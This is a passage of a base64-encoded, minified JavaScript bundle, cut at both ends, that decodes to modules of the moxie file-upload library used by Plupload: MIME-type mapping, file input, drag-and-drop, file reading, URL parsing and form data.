yKDAsNSkpe3ZhciB0PWUuaW5kZXhPZigiO2Jhc2U2NCwiKTt0aGlzLnR5cGU9ZS5zdWJzdHJpbmcoNSx0KSxlPWkuYXRvYihlLnN1YnN0cmluZyh0KzgpKX10aGlzLnNpemU9ZS5sZW5ndGgsYVt0aGlzLnVpZF09ZX0saXNEZXRhY2hlZDpmdW5jdGlvbigpe3JldHVybiF0aGlzLnJ1aWQmJiJzdHJpbmciPT09cy50eXBlT2YoYVt0aGlzLnVpZF0pfSxkZXN0cm95OmZ1bmN0aW9uKCl7dGhpcy5kZXRhY2goKSxkZWxldGUgYVt0aGlzLnVpZF19fSksdC5kYXRhP3RoaXMuZGV0YWNoKHQuZGF0YSk6YVt0aGlzLnVpZF09dH19KSxlKCJtb3hpZS9jb3JlL0kxOG4iLFsibW94aWUvY29yZS91dGlscy9CYXNpYyJdLGZ1bmN0aW9uKGkpe3ZhciB0PXt9O3JldHVybnthZGRJMThuOmZ1bmN0aW9uKGUpe3JldHVybiBpLmV4dGVuZCh0LGUpfSx0cmFuc2xhdGU6ZnVuY3Rpb24oZSl7cmV0dXJuIHRbZV18fGV9LF86ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMudHJhbnNsYXRlKGUpfSxzcHJpbnRmOmZ1bmN0aW9uKGUpe3ZhciB0PVtdLnNsaWNlLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiBlLnJlcGxhY2UoLyVbYS16XS9nLGZ1bmN0aW9uKCl7dmFyIGU9dC5zaGlmdCgpO3JldHVybiJ1bmRlZmluZWQiIT09aS50eXBlT2YoZSk/ZToiIn0pfX19KSxlKCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvSTE4biJdLGZ1bmN0aW9uKGEsbil7dmFyIG89e30scz17fSxlPWZ1bmN0aW9uKGUpe3ZhciB0LGksbixyPWUuc3BsaXQoLywvKTtmb3IodD0wO3Q8ci5sZW5ndGg7dCs9Mil7Zm9yKG49clt0KzFdLnNwbGl0KC8gLyksaT0wO2k8bi5sZW5ndGg7aSsrKW9bbltpXV09clt0XTtzW3JbdF1dPW59fSxyPWZ1bmN0aW9uKGUpe3ZhciBuPVtdO3JldHVybiBhLmVhY2goZSxmdW5jdGlvbihlKXtpZigiKiI9PT0oZT1lLnRvTG93ZXJDYXNlKCkpKXJldHVybiEobj1bXSk7dmFyIGk9ZS5tYXRjaCgvXihcdyspXC8oXCp8XHcrKSQvKTtpJiYoIioiPT09aVsyXT9hLmVhY2gocyxmdW5jdGlvbihlLHQpe25ldyBSZWdFeHAoIl4iK2lbMV0rIi8iKS50ZXN0KHQpJiZbXS5wdXNoLmFwcGx5KG4sc1t0XSl9KTpzW2VdJiZbXS5wdXNoLmFwcGx5KG4sc1tlXSkpfSksbn0sdD1mdW5jdGlvbihlKXt2YXIgdD1lJiZlLm1hdGNoKC9cLihbXi5dKykkLyk7cmV0dXJuIHQ/dFsxXS50b0xvd2VyQ2FzZSgpOiIifTtyZXR1cm4gZSgiYXBwbGljYXRpb24vbXN3b3JkLGRvYyBkb3QsYXBwbGljYXRpb24vcGRmLHBkZixhcHBsaWNhdGlvbi9wZ3Atc2lnbmF0dXJlLHBncCxhcHBsaWNhdGlvbi9wb3N0c2NyaXB0LHBzIGFpIGVwcyxhcHBsaWNhdGlvbi9ydGYscnRmLGFwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbCx4bHMgeGxiIHhsdCB4bGEsYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQscHB0IHBwcyBwb3QgcHBhLGFwcGxpY2F0aW9uL3ppcCx6aXAsYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gsc3dmIHN3ZmwsYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LndvcmRwcm9jZXNzaW5nbWwuZG9jdW1lbnQsZG9jeCxhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC50ZW1wbGF0ZSxkb3R4LGFwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnNoZWV0LHhsc3gsYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnByZXNlbnRhdGlvbixwcHR4LGFwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC50ZW1wbGF0ZSxwb3R4LGFwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5zbGlkZXNob3cscHBzeCxhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQsanMsYXBwbGljYXRpb24vanNvbixqc29uLGF1ZGlvL21wZWcsbXAzIG1wZ2EgbXBlZ2EgbXAyLGF1ZGlvL3gtd2F2LHdhdixhdWRpby94LW00YSxtNGEsYXVkaW8vb2dnLG9nYSBvZ2csYXVkaW8vYWlmZixhaWZmIGFpZixhdWRpby9mbGFjLGZsYWMsYXVkaW8vYWFjLGFhYyxhdWRpby9hYzMsYWMzLGF1ZGlvL3gtbXMtd21hLHdtYSxpbWFnZS9ibXAsYm1wLGltYWdlL2dpZixnaWYsaW1hZ2UvanBlZyxqcGcganBlZyBqcGUsaW1hZ2UvcGhvdG9zaG9wLHBzZCxpbWFnZS9wbmcscG5nLGltYWdlL3N2Zyt4bWwsc3ZnIHN2Z3osaW1hZ2UvdGlmZix0aWZmIHRpZix0ZXh0L3BsYWluLGFzYyB0eHQgdGV4dCBkaWZmIGxvZyx0ZXh0L2h0bWwsaHRtIGh0bWwgeGh0bWwsdGV4dC9jc3MsY3NzLHRleHQvY3N2LGNzdix0ZXh0L3J0ZixydGYsdmlkZW8vbXBlZyxtcGVnIG1wZyBtcGUgbTJ2LHZpZGVvL3F1aWNrdGltZSxxdCBtb3YsdmlkZW8vbXA0LG1wNCx2aWRlby94LW00dixtNHYsdmlkZW8veC1mbHYsZmx2LHZpZGVvL3gtbXMtd212LHdtdix2aWRlby9hdmksYXZpLHZpZGVvL3dlYm0sd2VibSx2aWRlby8zZ3BwLDNncHAgM2dwLHZpZGVvLzNncHAyLDNnMix2aWRlby92bmQucm4tcmVhbHZpZGVvLHJ2LHZpZGVvL29nZyxvZ3YsdmlkZW8veC1tYXRyb3NrYSxta3YsYXBwbGljYXRpb24vdm5kLm9hc2lzLm9wZW5kb2N1bWVudC5mb3JtdWxhLXRlbXBsYXRlLG90ZixhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0sZXhlIikse21pbWVzOm8sZXh0ZW5zaW9uczpzLGFkZE1pbWVUeXBlOmUsZXh0TGlzdDJtaW1lczpmdW5jdGlvbihlLHQpe3ZhciBpLG4scixvLHM9W107Zm9yKG49MDtuPGUubGVuZ3RoO24rKylmb3IoaT1lW25dLmV4dGVuc2lvbnMudG9Mb3dlckNhc2UoKS5zcGxpdCgvXHMqLFxzKi8pLHI9MDtyPGkubGVuZ3RoO3IrKyl7aWYoIioiPT09aVtyXSlyZXR1cm5bXTtpZihvPXNbaVtyXV0sdCYmL15cdyskLy50ZXN0KGlbcl0pKXMucHVzaCgiLiIraVtyXSk7ZWxzZSBpZihvJiYtMT09PWEuaW5BcnJheShvLHMpKXMucHVzaChvKTtlbHNlIGlmKCFvKXJldHVybltdfXJldHVybiBzfSxtaW1lczJleHRzOnIsbWltZXMyZXh0TGlzdDpmdW5jdGlvbihlKXt2YXIgdD1bXSxpPVtdO3JldHVybiJzdHJpbmciPT09YS50eXBlT2YoZSkmJihlPWEudHJpbShlKS5zcGxpdCgvXHMqLFxzKi8pKSxpPXIoZSksdC5wdXNoKHt0aXRsZTpuLnRyYW5zbGF0ZSgiRmlsZXMiKSxleHRlbnNpb25zOmkubGVuZ3RoP2kuam9pbigiLCIpOiIqIn0pLHR9LGdldEZpbGVFeHRlbnNpb246dCxnZXRGaWxlTWltZTpmdW5jdGlvbihlKXtyZXR1cm4gb1t0KGUpXXx8IiJ9fX0pLGUoIm1veGllL2ZpbGUvRmlsZUlucHV0IixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvdXRpbHMvTWltZSIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS9FdmVudFRhcmdldCIsIm1veGllL2NvcmUvSTE4biIsIm1veGllL3J1bnRpbWUvUnVudGltZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCJdLGZ1bmN0aW9uKGEsZSxuLHUscix0LG8sYyxsKXtmdW5jdGlvbiBpKHMpe3ZhciBlLHQsaTtpZigtMSE9PWEuaW5BcnJheShhLnR5cGVPZihzKSxbInN0cmluZyIsIm5vZGUiXSkmJihzPXticm93c2VfYnV0dG9uOnN9KSwhKHQ9dS5nZXQocy5icm93c2VfYnV0dG9uKSkpdGhyb3cgbmV3IHIuRE9NRXhjZXB0aW9uKHIuRE9NRXhjZXB0aW9uLk5PVF9GT1VORF9FUlIpO2k9e2FjY2VwdDpbe3RpdGxlOm8udHJhbnNsYXRlKCJBbGwgRmlsZXMiKSxleHRlbnNpb25zOiIqIn1dLG11bHRpcGxlOiExLHJlcXVpcmVkX2NhcHM6ITEsY29udGFpbmVyOnQucGFyZW50Tm9kZXx8ZG9jdW1lbnQuYm9keX0sInN0cmluZyI9PXR5cGVvZihzPWEuZXh0ZW5kKHt9LGkscykpLnJlcXVpcmVkX2NhcHMmJihzLnJlcXVpcmVkX2NhcHM9Yy5wYXJzZUNhcHMocy5yZXF1aXJlZF9jYXBzKSksInN0cmluZyI9PXR5cGVvZiBzLmFjY2VwdCYmKHMuYWNjZXB0PW4ubWltZXMyZXh0TGlzdChzLmFjY2VwdCkpLChlPXUuZ2V0KHMuY29udGFpbmVyKSl8fChlPWRvY3VtZW50LmJvZHkpLCJzdGF0aWMiPT09dS5nZXRTdHlsZShlLCJwb3NpdGlvbiIpJiYoZS5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxlPXQ9bnVsbCxsLmNhbGwodGhpcyksYS5leHRlbmQodGhpcyx7dWlkOmEuZ3VpZCgidWlkXyIpLHJ1aWQ6bnVsbCxzaGltaWQ6bnVsbCxmaWxlczpudWxsLGluaXQ6ZnVuY3Rpb24oKXt2YXIgdD10aGlzO3QuYmluZCgiUnVudGltZUluaXQiLGZ1bmN0aW9uKGUsbyl7dC5ydWlkPW8udWlkLHQuc2hpbWlkPW8uc2hpbWlkLHQuYmluZCgiUmVhZHkiLGZ1bmN0aW9uKCl7dC50cmlnZ2VyKCJSZWZyZXNoIil9LDk5OSksdC5iaW5kKCJSZWZyZXNoIixmdW5jdGlvbigpe3ZhciBlLHQsaSxuLHI7aT11LmdldChzLmJyb3dzZV9idXR0b24pLG49dS5nZXQoby5zaGltaWQpLGkmJihlPXUuZ2V0UG9zKGksdS5nZXQocy5jb250YWluZXIpKSx0PXUuZ2V0U2l6ZShpKSxyPXBhcnNlSW50KHUuZ2V0U3R5bGUoaSwiei1pbmRleCIpLDEwKXx8MCxuJiZhLmV4dGVuZChuLnN0eWxlLHt0b3A6ZS55KyJweCIsbGVmdDplLngrInB4Iix3aWR0aDp0LncrInB4IixoZWlnaHQ6dC5oKyJweCIsekluZGV4OnIrMX0pKSxuPWk9bnVsbH0pLG8uZXhlYy5jYWxsKHQsIkZpbGVJbnB1dCIsImluaXQiLHMpfSksdC5jb25uZWN0UnVudGltZShhLmV4dGVuZCh7fSxzLHtyZXF1aXJlZF9jYXBzOntzZWxlY3RfZmlsZTohMH19KSl9LGdldE9wdGlvbjpmdW5jdGlvbihlKXtyZXR1cm4gc1tlXX0sc2V0T3B0aW9uOmZ1bmN0aW9uKGUsdCl7aWYocy5oYXNPd25Qcm9wZXJ0eShlKSl7dmFyIGk9c1tlXTtzd2l0Y2goZSl7Y2FzZSJhY2NlcHQiOiJzdHJpbmciPT10eXBlb2YgdCYmKHQ9bi5taW1lczJleHRMaXN0KHQpKTticmVhaztjYXNlImNvbnRhaW5lciI6Y2FzZSJyZXF1aXJlZF9jYXBzIjp0aHJvdyBuZXcgci5GaWxlRXhjZXB0aW9uKHIuRmlsZUV4Y2VwdGlvbi5OT19NT0RJRklDQVRJT05fQUxMT1dFRF9FUlIpfXNbZV09dCx0aGlzLmV4ZWMoIkZpbGVJbnB1dCIsInNldE9wdGlvbiIsZSx0KSx0aGlzLnRyaWdnZXIoIk9wdGlvbkNoYW5nZWQiLGUsdCxpKX19LGRpc2FibGU6ZnVuY3Rpb24oZSl7dGhpcy5nZXRSdW50aW1lKCkmJnRoaXMuZXhlYygiRmlsZUlucHV0IiwiZGlzYWJsZSIsInVuZGVmaW5lZCI9PT1hLnR5cGVPZihlKXx8ZSl9LHJlZnJlc2g6ZnVuY3Rpb24oKXt0aGlzLnRyaWdnZXIoIlJlZnJlc2giKX0sZGVzdHJveTpmdW5jdGlvbigpe3ZhciBlPXRoaXMuZ2V0UnVudGltZSgpO2UmJihlLmV4ZWMuY2FsbCh0aGlzLCJGaWxlSW5wdXQiLCJkZXN0cm95IiksdGhpcy5kaXNjb25uZWN0UnVudGltZSgpKSwiYXJyYXkiPT09YS50eXBlT2YodGhpcy5maWxlcykmJmEuZWFjaCh0aGlzLmZpbGVzLGZ1bmN0aW9uKGUpe2UuZGVzdHJveSgpfSksdGhpcy5maWxlcz1udWxsLHRoaXMudW5iaW5kQWxsKCl9fSksdGhpcy5oYW5kbGVFdmVudFByb3BzKGQpfXZhciBkPVsicmVhZHkiLCJjaGFuZ2UiLCJjYW5jZWwiLCJtb3VzZWVudGVyIiwibW91c2VsZWF2ZSIsIm1vdXNlZG93biIsIm1vdXNldXAiXTtyZXR1cm4gaS5wcm90b3R5cGU9dC5pbnN0YW5jZSxpfSksZSgibW94aWUvZmlsZS9GaWxlIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9maWxlL0Jsb2IiXSxmdW5jdGlvbihyLG8scyl7ZnVuY3Rpb24gZShlLHQpe3ZhciBpO2lmKHR8fCh0PXt9KSxzLmFwcGx5KHRoaXMsYXJndW1lbnRzKSx0aGlzLnR5cGV8fCh0aGlzLnR5cGU9by5nZXRGaWxlTWltZSh0Lm5hbWUpKSx0Lm5hbWUpaT0oaT10Lm5hbWUucmVwbGFjZSgvXFwvZywiLyIpKS5zdWJzdHIoaS5sYXN0SW5kZXhPZigiLyIpKzEpO2Vsc2UgaWYodGhpcy50eXBlKXt2YXIgbj10aGlzLnR5cGUuc3BsaXQoIi8iKVswXTtpPXIuZ3VpZCgoIiIhPT1uP246ImZpbGUiKSsiXyIpLG8uZXh0ZW5zaW9uc1t0aGlzLnR5cGVdJiYoaSs9Ii4iK28uZXh0ZW5zaW9uc1t0aGlzLnR5cGVdWzBdKX1yLmV4dGVuZCh0aGlzLHtuYW1lOml8fHIuZ3VpZCgiZmlsZV8iKSxyZWxhdGl2ZVBhdGg6IiIsbGFzdE1vZGlmaWVkRGF0ZTp0Lmxhc3RNb2RpZmllZD9uZXcgRGF0ZSh0Lmxhc3RNb2RpZmllZCk6dC5sYXN0TW9kaWZpZWREYXRlfHwobmV3IERhdGUpLnRvTG9jYWxlU3RyaW5nKCl9KX1yZXR1cm4gZS5wcm90b3R5cGU9cy5wcm90b3R5cGUsZX0pLGUoIm1veGllL2ZpbGUvRmlsZURyb3AiLFsibW94aWUvY29yZS9JMThuIiwibW94aWUvY29yZS91dGlscy9Eb20iLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9FbnYiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiLCJtb3hpZS9jb3JlL0V2ZW50VGFyZ2V0IiwibW94aWUvY29yZS91dGlscy9NaW1lIl0sZnVuY3Rpb24odCxyLGUsbyxpLG4scyxhLHUpe2Z1bmN0aW9uIGMoaSl7dmFyIGUsbj10aGlzOyJzdHJpbmciPT10eXBlb2YgaSYmKGk9e2Ryb3Bfem9uZTppfSksZT17YWNjZXB0Olt7dGl0bGU6dC50cmFuc2xhdGUoIkFsbCBGaWxlcyIpLGV4dGVuc2lvbnM6IioifV0scmVxdWlyZWRfY2Fwczp7ZHJhZ19hbmRfZHJvcDohMH19LChpPSJvYmplY3QiPT10eXBlb2YgaT9vLmV4dGVuZCh7fSxlLGkpOmUpLmNvbnRhaW5lcj1yLmdldChpLmRyb3Bfem9uZSl8fGRvY3VtZW50LmJvZHksInN0YXRpYyI9PT1yLmdldFN0eWxlKGkuY29udGFpbmVyLCJwb3NpdGlvbiIpJiYoaS5jb250YWluZXIuc3R5bGUucG9zaXRpb249InJlbGF0aXZlIiksInN0cmluZyI9PXR5cGVvZiBpLmFjY2VwdCYmKGkuYWNjZXB0PXUubWltZXMyZXh0TGlzdChpLmFjY2VwdCkpLHMuY2FsbChuKSxvLmV4dGVuZChuLHt1aWQ6by5ndWlkKCJ1aWRfIikscnVpZDpudWxsLGZpbGVzOm51bGwsaW5pdDpmdW5jdGlvbigpe24uYmluZCgiUnVudGltZUluaXQiLGZ1bmN0aW9uKGUsdCl7bi5ydWlkPXQudWlkLHQuZXhlYy5jYWxsKG4sIkZpbGVEcm9wIiwiaW5pdCIsaSksbi5kaXNwYXRjaEV2ZW50KCJyZWFkeSIpfSksbi5jb25uZWN0UnVudGltZShpKX0sZGVzdHJveTpmdW5jdGlvbigpe3ZhciBlPXRoaXMuZ2V0UnVudGltZSgpO2UmJihlLmV4ZWMuY2FsbCh0aGlzLCJGaWxlRHJvcCIsImRlc3Ryb3kiKSx0aGlzLmRpc2Nvbm5lY3RSdW50aW1lKCkpLHRoaXMuZmlsZXM9bnVsbCx0aGlzLnVuYmluZEFsbCgpfX0pLHRoaXMuaGFuZGxlRXZlbnRQcm9wcyhsKX12YXIgbD1bInJlYWR5IiwiZHJhZ2VudGVyIiwiZHJhZ2xlYXZlIiwiZHJvcCIsImVycm9yIl07cmV0dXJuIGMucHJvdG90eXBlPWEuaW5zdGFuY2UsY30pLGUoIm1veGllL2ZpbGUvRmlsZVJlYWRlciIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9FbmNvZGUiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL0V2ZW50VGFyZ2V0IiwibW94aWUvZmlsZS9CbG9iIiwibW94aWUvcnVudGltZS9SdW50aW1lQ2xpZW50Il0sZnVuY3Rpb24oZSxuLHIsdCxvLGkpe2Z1bmN0aW9uIHMoKXtmdW5jdGlvbiB0KGUsdCl7aWYodGhpcy50cmlnZ2VyKCJsb2Fkc3RhcnQiKSx0aGlzLnJlYWR5U3RhdGU9PT1zLkxPQURJTkcpcmV0dXJuIHRoaXMudHJpZ2dlcigiZXJyb3IiLG5ldyByLkRPTUV4Y2VwdGlvbihyLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUikpLHZvaWQgdGhpcy50cmlnZ2VyKCJsb2FkZW5kIik7aWYoISh0IGluc3RhbmNlb2YgbykpcmV0dXJuIHRoaXMudHJpZ2dlcigiZXJyb3IiLG5ldyByLkRPTUV4Y2VwdGlvbihyLkRPTUV4Y2VwdGlvbi5OT1RfRk9VTkRfRVJSKSksdm9pZCB0aGlzLnRyaWdnZXIoImxvYWRlbmQiKTtpZih0aGlzLnJlc3VsdD1udWxsLHRoaXMucmVhZHlTdGF0ZT1zLkxPQURJTkcsdC5pc0RldGFjaGVkKCkpe3ZhciBpPXQuZ2V0U291cmNlKCk7c3dpdGNoKGUpe2Nhc2UicmVhZEFzVGV4dCI6Y2FzZSJyZWFkQXNCaW5hcnlTdHJpbmciOnRoaXMucmVzdWx0PWk7YnJlYWs7Y2FzZSJyZWFkQXNEYXRhVVJMIjp0aGlzLnJlc3VsdD0iZGF0YToiK3QudHlwZSsiO2Jhc2U2NCwiK24uYnRvYShpKX10aGlzLnJlYWR5U3RhdGU9cy5ET05FLHRoaXMudHJpZ2dlcigibG9hZCIpLHRoaXMudHJpZ2dlcigibG9hZGVuZCIpfWVsc2UgdGhpcy5jb25uZWN0UnVudGltZSh0LnJ1aWQpLHRoaXMuZXhlYygiRmlsZVJlYWRlciIsInJlYWQiLGUsdCl9aS5jYWxsKHRoaXMpLGUuZXh0ZW5kKHRoaXMse3VpZDplLmd1aWQoInVpZF8iKSxyZWFkeVN0YXRlOnMuRU1QVFkscmVzdWx0Om51bGwsZXJyb3I6bnVsbCxyZWFkQXNCaW5hcnlTdHJpbmc6ZnVuY3Rpb24oZSl7dC5jYWxsKHRoaXMsInJlYWRBc0JpbmFyeVN0cmluZyIsZSl9LHJlYWRBc0RhdGFVUkw6ZnVuY3Rpb24oZSl7dC5jYWxsKHRoaXMsInJlYWRBc0RhdGFVUkwiLGUpfSxyZWFkQXNUZXh0OmZ1bmN0aW9uKGUpe3QuY2FsbCh0aGlzLCJyZWFkQXNUZXh0IixlKX0sYWJvcnQ6ZnVuY3Rpb24oKXt0aGlzLnJlc3VsdD1udWxsLC0xPT09ZS5pbkFycmF5KHRoaXMucmVhZHlTdGF0ZSxbcy5FTVBUWSxzLkRPTkVdKSYmKHRoaXMucmVhZHlTdGF0ZT09PXMuTE9BRElORyYmKHRoaXMucmVhZHlTdGF0ZT1zLkRPTkUpLHRoaXMuZXhlYygiRmlsZVJlYWRlciIsImFib3J0IiksdGhpcy50cmlnZ2VyKCJhYm9ydCIpLHRoaXMudHJpZ2dlcigibG9hZGVuZCIpKX0sZGVzdHJveTpmdW5jdGlvbigpe3RoaXMuYWJvcnQoKSx0aGlzLmV4ZWMoIkZpbGVSZWFkZXIiLCJkZXN0cm95IiksdGhpcy5kaXNjb25uZWN0UnVudGltZSgpLHRoaXMudW5iaW5kQWxsKCl9fSksdGhpcy5oYW5kbGVFdmVudFByb3BzKGEpLHRoaXMuYmluZCgiRXJyb3IiLGZ1bmN0aW9uKGUsdCl7dGhpcy5yZWFkeVN0YXRlPXMuRE9ORSx0aGlzLmVycm9yPXR9LDk5OSksdGhpcy5iaW5kKCJMb2FkIixmdW5jdGlvbigpe3RoaXMucmVhZHlTdGF0ZT1zLkRPTkV9LDk5OSl9dmFyIGE9WyJsb2Fkc3RhcnQiLCJwcm9ncmVzcyIsImxvYWQiLCJhYm9ydCIsImVycm9yIiwibG9hZGVuZCJdO3JldHVybiBzLkVNUFRZPTAscy5MT0FESU5HPTEscy5ET05FPTIscy5wcm90b3R5cGU9dC5pbnN0YW5jZSxzfSksZSgibW94aWUvY29yZS91dGlscy9VcmwiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyJdLGZ1bmN0aW9uKGMpe3ZhciBsPWZ1bmN0aW9uKGUsdCl7dmFyIGksbj1bInNvdXJjZSIsInNjaGVtZSIsImF1dGhvcml0eSIsInVzZXJJbmZvIiwidXNlciIsInBhc3MiLCJob3N0IiwicG9ydCIsInJlbGF0aXZlIiwicGF0aCIsImRpcmVjdG9yeSIsImZpbGUiLCJxdWVyeSIsImZyYWdtZW50Il0scj1uLmxlbmd0aCxvPXt9LHM9L14oPzooW146XC8/I10rKTopPyg/OlwvXC8oKSg/Oig/OigpKD86KFteOkBcL10qKTo/KFteOkBcL10qKSk/QCk/KFxbW1xkYS1mQS1GOl0rXF18W146XC8/I10qKSg/OjooXGQqKSk/KSk/KCkoPzooKCkoPzooPzpbXj8jXC9dKlwvKSopKCkoPzpbXj8jXSopKSg/OlxcPyhbXiNdKikpPyg/OiMoLiopKT8pLy5leGVjKGV8fCIiKSxhPS9eXC9cL1x3Ly50ZXN0KGUpO3N3aXRjaChjLnR5cGVPZih0KSl7Y2FzZSJ1bmRlZmluZWQiOnQ9bChkb2N1bWVudC5sb2NhdGlvbi5ocmVmLCExKTticmVhaztjYXNlInN0cmluZyI6dD1sKHQsITEpfWZvcig7ci0tOylzW3JdJiYob1tuW3JdXT1zW3JdKTtpZihpPSFhJiYhby5zY2hlbWUsKGF8fGkpJiYoby5zY2hlbWU9dC5zY2hlbWUpLGkpe28uaG9zdD10Lmhvc3Qsby5wb3J0PXQucG9ydDt2YXIgdT0iIjsvXlteXC9dLy50ZXN0KG8ucGF0aCkmJih1PXQucGF0aCx1PS9cL1teXC9dKlwuW15cL10qJC8udGVzdCh1KT91LnJlcGxhY2UoL1wvW15cL10rJC8sIi8iKTp1LnJlcGxhY2UoL1wvPyQvLCIvIikpLG8ucGF0aD11KyhvLnBhdGh8fCIiKX1yZXR1cm4gby5wb3J0fHwoby5wb3J0PXtodHRwOjgwLGh0dHBzOjQ0M31bby5zY2hlbWVdfHw4MCksby5wb3J0PXBhcnNlSW50KG8ucG9ydCwxMCksby5wYXRofHwoby5wYXRoPSIvIiksZGVsZXRlIG8uc291cmNlLG99O3JldHVybntwYXJzZVVybDpsLHJlc29sdmVVcmw6ZnVuY3Rpb24oZSl7dmFyIHQ9Im9iamVjdCI9PXR5cGVvZiBlP2U6bChlKTtyZXR1cm4gdC5zY2hlbWUrIjovLyIrdC5ob3N0Kyh0LnBvcnQhPT17aHR0cDo4MCxodHRwczo0NDN9W3Quc2NoZW1lXT8iOiIrdC5wb3J0OiIiKSt0LnBhdGgrKHQucXVlcnk/dC5xdWVyeToiIil9LGhhc1NhbWVPcmlnaW46ZnVuY3Rpb24oZSl7ZnVuY3Rpb24gdChlKXtyZXR1cm5bZS5zY2hlbWUsZS5ob3N0LGUucG9ydF0uam9pbigiLyIpfXJldHVybiJzdHJpbmciPT10eXBlb2YgZSYmKGU9bChlKSksdChsKCkpPT09dChlKX19fSksZSgibW94aWUvcnVudGltZS9SdW50aW1lVGFyZ2V0IixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiLCJtb3hpZS9jb3JlL0V2ZW50VGFyZ2V0Il0sZnVuY3Rpb24oZSx0LGkpe2Z1bmN0aW9uIG4oKXt0aGlzLnVpZD1lLmd1aWQoInVpZF8iKSx0LmNhbGwodGhpcyksdGhpcy5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy5kaXNjb25uZWN0UnVudGltZSgpLHRoaXMudW5iaW5kQWxsKCl9fXJldHVybiBuLnByb3RvdHlwZT1pLmluc3RhbmNlLG59KSxlKCJtb3hpZS9maWxlL0ZpbGVSZWFkZXJTeW5jIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSJdLGZ1bmN0aW9uKGUsaSxhKXtyZXR1cm4gZnVuY3Rpb24oKXtmdW5jdGlvbiB0KGUsdCl7aWYoIXQuaXNEZXRhY2hlZCgpKXt2YXIgaT10aGlzLmNvbm5lY3RSdW50aW1lKHQucnVpZCkuZXhlYy5jYWxsKHRoaXMsIkZpbGVSZWFkZXJTeW5jIiwicmVhZCIsZSx0KTtyZXR1cm4gdGhpcy5kaXNjb25uZWN0UnVudGltZSgpLGl9dmFyIG49dC5nZXRTb3VyY2UoKTtzd2l0Y2goZSl7Y2FzZSJyZWFkQXNCaW5hcnlTdHJpbmciOnJldHVybiBuO2Nhc2UicmVhZEFzRGF0YVVSTCI6cmV0dXJuImRhdGE6Iit0LnR5cGUrIjtiYXNlNjQsIithLmJ0b2Eobik7Y2FzZSJyZWFkQXNUZXh0Ijpmb3IodmFyIHI9IiIsbz0wLHM9bi5sZW5ndGg7bzxzO28rKylyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKG5bb10pO3JldHVybiByfX1pLmNhbGwodGhpcyksZS5leHRlbmQodGhpcyx7dWlkOmUuZ3VpZCgidWlkXyIpLHJlYWRBc0JpbmFyeVN0cmluZzpmdW5jdGlvbihlKXtyZXR1cm4gdC5jYWxsKHRoaXMsInJlYWRBc0JpbmFyeVN0cmluZyIsZSl9LHJlYWRBc0RhdGFVUkw6ZnVuY3Rpb24oZSl7cmV0dXJuIHQuY2FsbCh0aGlzLCJyZWFkQXNEYXRhVVJMIixlKX0scmVhZEFzVGV4dDpmdW5jdGlvbihlKXtyZXR1cm4gdC5jYWxsKHRoaXMsInJlYWRBc1RleHQiLGUpfX0pfX0pLGUoIm1veGllL3hoci9Gb3JtRGF0YSIsWyJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvZmlsZS9CbG9iIl0sZnVuY3Rpb24oZSxzLGEpe3JldHVybiBmdW5jdGlvbigpe3ZhciByLG89W107cy5leHRlbmQodGhpcyx7YXBwZW5kOmZ1bmN0aW9uKGksZSl7dmFyIG49dGhpcyx0PXMudHlwZU9mKGUpO2UgaW5zdGFuY2VvZiBhP3I9e25hbWU6aSx2YWx1ZTplfToiYXJyYXkiPT09dD8oaSs9IltdIixzLmVhY2goZSxmdW5jdGlvbihlKXtuLmFwcGVuZChpLGUpfSkpOiJvYmplY3QiPT09dD9zLmVhY2goZSxmdW5jdGlvbihlLHQpe24uYXBwZW5kKGkrIlsiK3QrIl0iLGUpfSk6Im51bGwiPT0